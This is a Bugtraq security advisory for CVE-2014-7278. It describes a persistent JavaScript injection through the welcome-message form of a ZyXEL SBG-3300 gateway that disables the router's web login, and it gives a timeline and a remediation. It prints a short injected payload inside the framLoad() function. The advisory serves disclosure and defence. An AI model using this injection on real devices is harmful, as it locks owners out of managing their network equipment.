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Message-Id: <201410031225.s93CPVm2014487@sf01web3.securityfocus.com> Date: Fri, 3 Oct 2014 12:25:31 GMT From: mirko.casadei@...il.com To: bugtraq@...urityfocus.com Subject: CVE-2014-7278 DoS in ZyXEL SBG-3300 Security Gateway ######################################## #Vulnerability Title: DoS in ZyXEL SBG-3300 Security Gateway #Date: 02/10/2014 #CVE-ID: CVE-2014-7278 #Product: ZyXEL SBG3300-N series #Vendor: www.zyxel.com #Affected Firmware: Latest version at the time of disclosure V1.00(AADY.4)C0 and below (tested) #Patch: Unpatched #Authored by: Mirko Casadei ######################################## #Disclosure Timeline: 13/08/2014 Vendor Contact with Acknowledgment 13/09/2014 No response from Vendor after first contact 02/10/2014 Full Disclosure #Technical details: Abusing the 'welcome message' form, an attacker can inject JavaScript code into a core function of the main login page. The persistent javascript code injection in the framLoad() function bypass all the security checks and cause a Denial of Service disabling any access to the router web interface. Access is restored with a new firmware installation. Example of a working code: //////// !WARNING! TEST AT YOUR OWN RISK /////// var loginMsg loads input from the 'welcome message form' .. function framLoad () { var status = '0'; var count = ''; var Retry = ''; var period = ''; var loginMsg = '<DoS="javascript:alert('DoS coming!')">'; var LockTime; var waitTime; if ( advancedaccountsecurity == '0' ) { loginrandom = '0'; } .. #Remediation The vulnerable form should sanitize input. ########################################
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